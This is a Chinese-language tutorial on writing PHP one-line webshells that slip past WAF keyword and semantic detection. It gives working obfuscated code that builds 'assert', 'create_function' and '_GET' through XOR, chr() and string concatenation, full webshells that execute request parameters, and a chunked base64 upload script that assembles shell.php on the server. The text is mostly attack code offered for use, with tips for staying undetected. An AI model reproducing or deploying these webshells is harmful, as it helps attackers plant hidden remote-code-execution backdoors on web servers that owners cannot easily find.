PHP 一句话免杀技术解析
Note
本文仅适用于 PHP 7.0 及以上版本。
PHP 从 7.0 开始,至 8.0 版本中引入了多项安全增强机制,导致大量传统绕过 WAF 的一句话木马失效。
PHP 7.1 中的变更
preg_replace()函数不再支持/e修饰符。assert()的第一个参数为字符串断言的行为已被废弃。经测试,以文本变量形式传入assert会报错,但直接调用assert仍可正常执行。
PHP 7.2 中的变更
create_function被标记为弃用(deprecated)。
防御机制
常见 WAF 的防御机制主要分为三类:关键词匹配、语义分析 和 虚拟机运行。
由于性能消耗大、检测速度慢等原因,第三种方式通常仅用于对特定 WebShell 进行深度分析。日常防御主要依赖前两种方式。
免杀核心思路
关键字校验
以下关键词通常被 WAF 禁用或严格过滤:
eval
system
assert
preg_replace
create_function
array_map
call_user_func
call_user_func_array
array_filter
passthru
shell_exec
...若关键词被完全禁用,基本无法绕过。若仅为 WAF 层面的过滤,则仍存在绕过可能。
绕过关键字校验
示例:一个未做处理的简单木马
<?phpassert($_GET[0]);常用绕过方式:利用 PHP 的可变函数特性拼接函数名。
注意:eval 是语言结构而非函数,无法通过可变函数方式拼接,详见官方文档。
<?php$a = 'a' . 's' . 's' . 'e' . 'r' . 't';$a($_GET[0]);语义分析绕过
语义分析相比关键词匹配更为智能,上述例子中的 assert 仍容易被识别。可通过干扰其分析逻辑实现绕过。
函数名拼接方法
- 异或运算,例如
"c" = "!" ^ "f",再将结果拼接:
"_GET" = ("!" ^ "~") . ("!" ^ "f") . ("!" ^ "d") . ("!" ^ "u");- 使用
chr()函数,将 ASCII 码转为字符:
"assert" = chr(0x61) . chr(0x73) . chr(0x73) . chr(0x65) . chr(0x72) . chr(0x74);- 字符串替换:
$a = 'assdert';$a = str_replace("d", "", $a);- 分段拼接:
$a = "";$a .= "a";$a .= "s";$a .= "s";$a .= "e";$a .= "r";$a .= "t";免杀示例
适用于 PHP 7.1 及以下版本
$_ = '_' ^ '<';$_ .= '5' ^ ']';$_ .= '_' ^ '-';// $_ = "chr"$__ = $_(0x61) . $_(0x73) . $_(0x73) . $_(0x65) . $_(0x72) . $_(0x74);// $__ = "assert"$___ = ("8" ^ "[") . ("\\" ^ ".") . ("8" ^ "]") . ("\\" ^ "=") . ("4" ^ "@") . ("8" ^ "]") . ("y" ^ "&") . ("8" ^ "^") . ("5" ^ "@") . ("5" ^ "[") . ("8" ^ "[") . ("4" ^ "@") . ("4" ^ "]") . ("4" ^ "[") . ("5" ^ "[");// $___ = "create_function"$____ = ("!" ^ "~") . ("!" ^ "f") . ("!" ^ "d") . ("!" ^ "u");// $____ = "_GET"$___('$___', $__ . '($___);')($$____[1]);// 等效于:// $func = create_function("$___", "assert($___);");// $func($_GET[1]);适用于 PHP 全版本
<?php$_ = '_' ^ '<';$_ .= '5' ^ ']';$_ .= '_' ^ '-';// $_ = "chr"$__ = $_(0x61) . $_(0x73) . $_(0x73) . $_(0x65) . $_(0x72) . $_(0x74);// $__ = "assert"$____ = ("!" ^ "~") . ("!" ^ "f") . ("!" ^ "d") . ("!" ^ "u");// $____ = "_GET"$$____[1]($$____[2]);// 等效于:// $_GET[1]($_GET[2])该类型的一句话木马在实际中作用有限,assert 等函数若不直接出现,难以获取有效信息。可通过 ?1=phpinfo&2=3 等方式尝试获取 phpinfo 信息。
其他思路:分段发包与文件合并
采用分段上传、服务端合并的方式绕过检测。
第一段:上传控制器(假设文件名为 a.php)
<?phpsession_start();if (isset($_GET["t"])) { $_SESSION["total"] = $_GET["t"]; $_SESSION["data"] = "";} else { if ($_GET["time"] == $_SESSION["total"]) { // 所有分段接收完成 file_put_contents("./shell.php", base64_decode($_SESSION["data"])); echo "ok"; } else { $_SESSION["data"] .= $_GET['data']; }}第二段:发送分段数据
依次发送经过 Base64 编码并分段的数据包。
优点:
- 不依赖系统文件上传机制;
- 分段传输的 Base64 数据无法被 WAF 正常解析,难以检测真实内容。
提醒
Warning
无论如何构造,都应遵循“言多必失”原则,尽量使用最少的函数达到最佳免杀效果,避免引入不必要的检测风险。